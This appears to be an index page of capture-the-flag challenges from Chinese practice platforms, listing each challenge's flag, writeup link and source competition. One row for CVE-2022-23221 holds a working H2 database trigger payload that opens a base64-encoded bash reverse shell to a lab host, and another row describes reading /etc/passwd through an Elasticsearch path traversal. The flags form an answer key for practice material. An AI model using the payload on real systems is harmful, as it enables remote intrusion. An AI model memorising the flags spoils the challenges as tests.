[标题搜索]只能搜索题目标题,[综合搜索]支持多关键词多项目搜索(以空格分隔)。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | NSSCTF | MISC | [CISCN 2022 东北]涂色板 | flag{f10424d2b1cbf840765291e98f4ea293} | https://www.cnblogs.com/wgf4242/p/166... | CISCN | 11970 |
| 2 | BUUCTF | Pwn | [HarekazeCTF2019]baby_rop | flag{b0dff894-b450-4284-9ef5-05955db575d6} | https://blog.csdn.net/qq_45771413/art... | HarekazeCTF2019 | 6825 |
| 3 | BUUCTF | Real | [ElasticSearch]CVE-2015-5531 | CVE-2015-5531是Elasticsearch快照API存在的目录遍历漏洞,允许攻击者通过构造恶意路径参数读取服务器任意文件。该漏洞影响1.0.0-1.6.0版本,修复版本为1.6.1及以上。攻击者可利用../路径遍历字符绕过目录限制,例如读取/etc/passwd文件 1。 | https://blog.csdn.net/2303_80022567/a... | ElasticSearch | 6596 |
| 4 | NSSCTF | 其他 | [NISACTF 2022]sign_crypto | NSSCTF{EDIT_WITH_LATEX} | https://www.cnblogs.com/mumuhhh/artic... | NISACTF | 10725 |
| 5 | BUUCTF | Crypto | [NewStarCTF 公开赛赛道]LCG Revenge | flag{XiaoM1ng_1s_0n_th3_w@y} | https://blog.csdn.net/weixin_52640415... | NewStarCTF 公开赛赛道 | 7223 |
| 6 | ctfshow | PWN入门.栈溢出 | pwn37 | ctfshow{2a2334a0-3e1b-4463-8e90-d1c8876879f9} | https://blog.csdn.net/Myon5/article/d... | 栈溢出 | 4892 |
| 7 | NSSCTF | 信息保护 | [第五空间 2021]data_protection | 无 | https://blog.csdn.net/weixin_51804748... | 第五空间 | 12615 |
| 8 | vulfocus | WEB | h2database RCE(CVE-2022-23221) | CREATE TABLE test ( id INT NOT NULL );CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzc3NzcgMD4mMQ==} | {base64,-d}|{bash,-i}");';|https://bl... | - | 16486 |
| 9 | BUUCTF | Web | [羊城杯2020]easyphp | flag{羊城杯2020_easyphp_php_value_auto_prepend_file_HTACCESS_RCE} | https://blog.csdn.net/2402_87039650/a... | 羊城杯2020 | 8030 |
| 10 | 封神台 | WEB | WEB-PHP弱类型3(考点:PHP弱类型) | - | https://bbs.zkaq.cn/t/6053.html | - | 14839 |